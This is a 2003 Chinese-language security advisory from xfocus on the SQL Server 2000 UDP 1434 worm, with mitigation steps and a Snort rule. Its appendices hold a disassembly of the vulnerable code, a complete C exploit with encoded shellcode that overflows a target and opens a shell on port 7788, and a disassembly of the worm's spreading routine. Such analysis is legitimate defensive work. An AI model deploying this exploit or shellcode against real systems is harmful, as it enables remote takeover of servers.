SQL Server 蠕虫紧急公告创建时间:2003-01-26 文章属性:原创 文章来源:http://www.xfocus.net 文章提交:benjurry (benjurry_at_xfocus.org) SQL Server 蠕虫紧急公告 ---------------------------------------------------- www.Xfocus.org ---------------------------------------------------- 发布日期:2003-01-25 ---------------------------------------------------- 影响系统: MS SQL Server 2000 (SP2及以下版本) ---------------------------------------------------- 说明: ---------------------------------------------------- 2003年1月25日下午开始,整个网络异常缓慢,Xfocus成员通过对多个地方的网络数据进行捕获和分析,发现了一个严重的SQL蠕虫。 该蠕虫利用了Next Generation Security Software Ltd 在2002年7月份发布的Microsoft SQL Server 2000 Resolution服务远程栈缓冲区溢出漏洞,对SQL Server数据库进行攻击,(详细可见[url]http://www.xfocus.net/vuln/vul_view.php?vul_id=2828|Microsoft SQL Server 2000 Resolution服务存在堆栈缓冲溢出漏洞[/url])该程序非常短小精悍,可以看附件1(用iris截获的数据包)。 该蠕虫利用了UDP 1434端口进行攻击,该端口是用来查询SQL Server服务程序的实例的,当该端口接受到第一个字节为0X04的UDP包时,就会获取UDP包中的数据,然后到注册表中查找相应的值,由于对大小限制出现问题,从而产生溢出漏洞。 由于SQL Server默认是以System权限执行的,该蠕虫利用了上述漏洞进行攻击后,获得了System的权限,同时通过调用GetTickCount()函数获得随机种子。循环产生随机IP,然后往随机产生的ip发送UDP包,以感染其他机器。这个过程将对网络产生重大阻塞,严重影响网络性能。 但是该蠕虫只存在于内存当中,不往硬盘写任何文件,只要关闭SQL Server就可以清除内存中的蠕虫,但是必须要及时安装相应补丁才能防止再次被感染。 临时解决办法: ---------------------------------------------------- 1、检查机器是否被感染,可以通过观察SQL Server进程占用的内存数和截获网络数据进行分析 2、如果SQL Server机器已经被感染,为避免进一步扩大,请先停止SQL Server服务:在服务管理器停止服务或者在命令行下输入:net stop mssqlserver 2、给SQL Server机器安装足够的补丁: 孤立的补丁: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-039.asp 完整的补丁: SQL Server SP3 http://www.microsoft.com/sql/downloads/2000/sp3.asp 3、重起机器 4、为了避免其他网段被感染及其导致的拒绝服务攻击,可以在防火墙或路由器上过滤目标端口为1434 udp的数据包 5、如果使用了Snort等IDS软件可以增加下面规则: alert udp $EXTERNAL_NET any -> $HOME_NET 1434 (msg:"W32.SQLEXP.Worm propagation"; content:"|68 2E 64 6C 6C 68 65 6C 33 32 68 6B 65 72 6E|"; content:"|04|"; offset:0; depth:1; reference:cve,CAN-2002-0649; reference:cve,CAN-2002-0650; classtype:attempted-user; sid:20001; rev:1;) 附件1:[URL=www.xfocus.net/other/ldfx/SQL.cap|用iris截获的蠕虫数据包]www.xfocus.net/other/ldfx/SQL.cap|用iris截获的蠕虫数据包[/URL] ---------------------------------------------------- 附录2:Microsoft SQL Server 2000 Resolution服务远程栈缓冲区溢出漏洞分析 ---------------------------------------------------- :42CFB584 E8A9210000 Call 42CFD732 :42CFB589 83C408 add esp, 00000008 :42CFB58C EB42 jmp 42CFB5D0 * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:42CFB562(C) | :42CFB58E 8B8538DBFFFF mov eax, dword ptr [ebp+FFFFDB38] //mov eax,[ebp-0x24c8].输入的字符串的地址 :42CFB594 50 push eax * Possible StringData Ref from Data Obj ->"SOFTWARE\Microsoft\Microsoft SQL " ->"Server\" | :42CFB595 68000BD042 push 42D00B00 //"SOFTWARE\Microsoft\Microsoft SQL Server\ * Possible StringData Ref from Data Obj ->"%s%s\MSSQLServer\SuperSocketNetLib\" | :42CFB59A 682C0BD042 push 42D00B2C //"%s%s\MSSQLServer\SuperSocketNetLib\"的地址 :42CFB59F 8D8DFCD6FFFF lea ecx, dword ptr [ebp+FFFFD6FC] // lea ecx,[ebp-0x2904] :42CFB5A5 51 push ecx * Reference To: MSVCRT.sprintf, Ord:02B2h | :42CFB5A6 FF1510E1CF42 Call dword ptr [42CFE110] :42CFB5AC 83C410 add esp, 00000010 :42CFB5AF 8B9538DBFFFF mov edx, dword ptr [ebp+FFFFDB38] //mov eax,[ebp-0x24c8].输入的字符串的地址 :42CFB5B5 52 push edx//我们输入的字符串地址,当长度大于64个(132-68)时,溢出。 * Possible StringData Ref from Data Obj ->"SOFTWARE\Microsoft\Microsoft SQL " ->"Server\" | :42CFB5B6 68500BD042 push 42D00B50//"SOFTWARE\Microsoft\Microsoft SQL Server\" * Possible StringData Ref from Data Obj ->"%s%s\MSSQLServer\CurrentVersion" | :42CFB5BB 687C0BD042 push 42D00B7C //"%s%s\MSSQLServer\CurrentVersion" :42CFB5C0 8D857CFFFFFF lea eax, dword ptr [ebp+FFFFFF7C]//regbuf 长度为132(0x84) :42CFB5C6 50 push eax * Reference To: MSVCRT.sprintf, Ord:02B2h | :42CFB5C7 FF1510E1CF42 Call dword ptr [42CFE110]//sprintf(regbuf,"%s%s\MSSQLServer\CurrentVersion","SOFTWARE\Microsoft\Microsoft SQL Server\",buf); :42CFB5CD 83C410 add esp, 00000010 * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:42CFB58C(U) | :42CFB5D0 8D8D00DBFFFF lea ecx, dword ptr [ebp+FFFFDB00] 附录3:2002年xfocus成员写的利用程序 ---------------------------------------------------- #include "stdafx.h" #include <string.h> #include <stdio.h> #include <windows.h> #include <winsock2.h> #include <process.h> void sendudp (char * targetip) { char buf[970]; memset(buf,'\x90',sizeof(buf)); unsigned char shellcode[] = "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90" "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa" "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36" "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97" "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14" "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2" "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14" "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5" "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1" "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16" "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68" "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1" "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94" "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4" "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68" "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57" "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4" "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4" "\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5" "\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68" "\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67" "\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1" "\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf" "\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab" "\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0" "\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4" "\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0" "\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56" "\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7" "\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57" "\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4" "\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f" "\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7" "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68" "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f" "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75" "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0" "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5" "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2" "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6" "\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97" "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc" "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb" "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97" "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2" "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4" "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97" "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2" "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97" "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97" "\x68\x68\x68\x68"; /* shellcode的结构如下: nop......nop|3a2cdbe4(shellcode的地址)|call esp|8个nop|42 d0 1e 40||shellcode|\MSSQLServer\CurrentVersion */ /* 以下内容为EBP中的内容*/ buf[93]='\xec'; buf[94]='\xdb'; buf[95]='\x2c'; buf[96]='\x3a'; /* jmp ebp found at 0x77e108fc */ //jmp ebp 在user32中的跳转地址 /* buf[97]='\xfc'; buf[98]='\x08'; buf[99]='\xe1'; buf[100]='\x77'; */ /* 不同机器上的jmp esp 位置,请自己修改 0x77e19296 buf[97]='\x96'; buf[98]='\x92'; buf[99]='\xe1'; buf[100]='\x77'; */ /*jmp esp 0x77e0492b */ buf[97]='\x2b'; buf[98]='\x49'; buf[99]='\xe0'; buf[100]='\x77'; buf[101]='\xeb'; buf[102]='\x0b'; //以下地址为防止下面语句出错而写 /* :42CFC16A 8B4510 mov eax, dword ptr [ebp+10] :42CFC16D C70000000000 mov dword ptr [eax], 000000 42d01e40 */ buf[109]='\x40'; buf[110]='\x14'; buf[111]='\xd0'; buf[112]='\x42'; buf[0]='\x04'; memcpy(buf+120,shellcode,sizeof(shellcode)); SOCKADDR_IN addr_in; SOCKET sock; if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET) { printf("Socket failed.Error:%d\n",WSAGetLastError()); return; } addr_in.sin_family=AF_INET; addr_in.sin_port=htons(1434); addr_in.sin_addr.S_un.S_addr=inet_addr(targetip); if (sendto(sock, buf, sizeof(buf), 0,(sockaddr*) &addr_in, sizeof(addr_in))==SOCKET_ERROR) { printf("Send failed.Error:%d\n",WSAGetLastError()); return; } closesocket(sock); } void useage() { printf("******************************************\n"); printf("SQL2k UDP exploit\n"); printf("\t Written by benjurry of xfocus.org\n"); printf("\t Email: benjurry@xfocus.org\n"); printf("\t sql2kudp targetIP \n"); printf("*******************************************\n"); } int main(int argc, char* argv[]) { WSADATA WSAData; useage(); if (argc<2) { printf("******************************************\n"); printf("\tPls input the targetIP"); printf("*******************************************\n"); return false; } if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { printf("WSAStartup error.Error:%d\n",WSAGetLastError()); return false; } printf("SQL2k UDP exploit, start..."); sendudp(argv[1]); Sleep(500 ); WSACleanup(); printf("SQL2kudp exploit Complete.\n"); printf("Please telnet target's 7788.\n"); return 0; } 附录4:EEYE反汇编的蠕虫代码 ---------------------------------------------------- ;SAPPHIRE WORM CODE DISASSEMBLED ;eEye Digital Security: January 25, 2003 push 42B0C9DCh ; [RET] sqlsort.dll -> jmp esp mov eax, 1010101h ; Reconstruct session, after the overflow the payload buffer ; get's corrupted during program execution but before the ; payload is executed. . xor ecx, ecx mov cl, 18h FIXUP: push eax loop FIXUP xor eax, 5010101h push eax mov ebp, esp push ecx push 6C6C642Eh push 32336C65h push 6E72656Bh ; kernel32 push ecx push 746E756Fh ; GetTickCount push 436B6369h push 54746547h mov cx, 6C6Ch push ecx push 642E3233h ; ws2_32.dll push 5F327377h mov cx, 7465h push ecx push 6B636F73h ; socket mov cx, 6F74h push ecx push 646E6573h ; sendto mov esi, 42AE1018h ; IAT from sqlsort lea eax, [ebp-2Ch] ; (ws2_32.dll) push eax call dword ptr [esi] ; call loadlibrary push eax lea eax, [ebp-20h] push eax lea eax, [ebp-10h] ; (kernel32.dll) push eax call dword ptr [esi] ; loadlibrary push eax mov esi, 42AE1010h ; IAT from sqlsort mov ebx, [esi] mov eax, [ebx] cmp eax, 51EC8B55h ; check entry point fingerprint jz short VALID_GP ; Check entry point fingerprint for getprocaddress, if it failes ; fall back to GetProcAddress entry in another DLL version. ; Undetermined what dll versions this will succedd on. Due ; to the lack of reliable importing this may not work across all ; dll versions. mov esi, 42AE101Ch ; IAT entry -> 77EA094C VALID_GP: call dword ptr [esi] ; GetProcAddress call eax ; return from GetProcaddress = GetTickCount entrypoint xor ecx, ecx push ecx push ecx push eax xor ecx, 9B040103h xor ecx, 1010101h push ecx ; 9A050002 = port 1434 / AF_INET lea eax, [ebp-34h] ; (socket) push eax mov eax, [ebp-40h] ; ws2_32 base address push eax call dword ptr [esi] ; GetProcAddress push 11h push 2 push 2 call eax ; socket push eax lea eax, [ebp-3Ch] ; sendto push eax mov eax, [ebp-40h] ; ws2_32 base address push eax call dword ptr [esi] ; GetProcAddress mov esi, eax ; save sendto -> esi or ebx, ebx xor ebx, 0FFD9613Ch PRND: mov eax, [ebp-4Ch] ; Pseudo Random Algorithm Start lea ecx, [eax+eax*2] lea edx, [eax+ecx*4] shl edx, 4 add edx, eax shl edx, 8 sub edx, eax lea eax, [eax+edx*4] add eax, ebx ; Pseudo Random Algorithm End mov [ebp-4Ch], eax push 10h lea eax, [ebp-50h] push eax xor ecx, ecx push ecx xor cx, 178h push ecx lea eax, [ebp+3] push eax mov eax, [ebp-54h] push eax call esi ; sendto jmp short PRND ; Jump back to Pseudo Random Algorithm Start |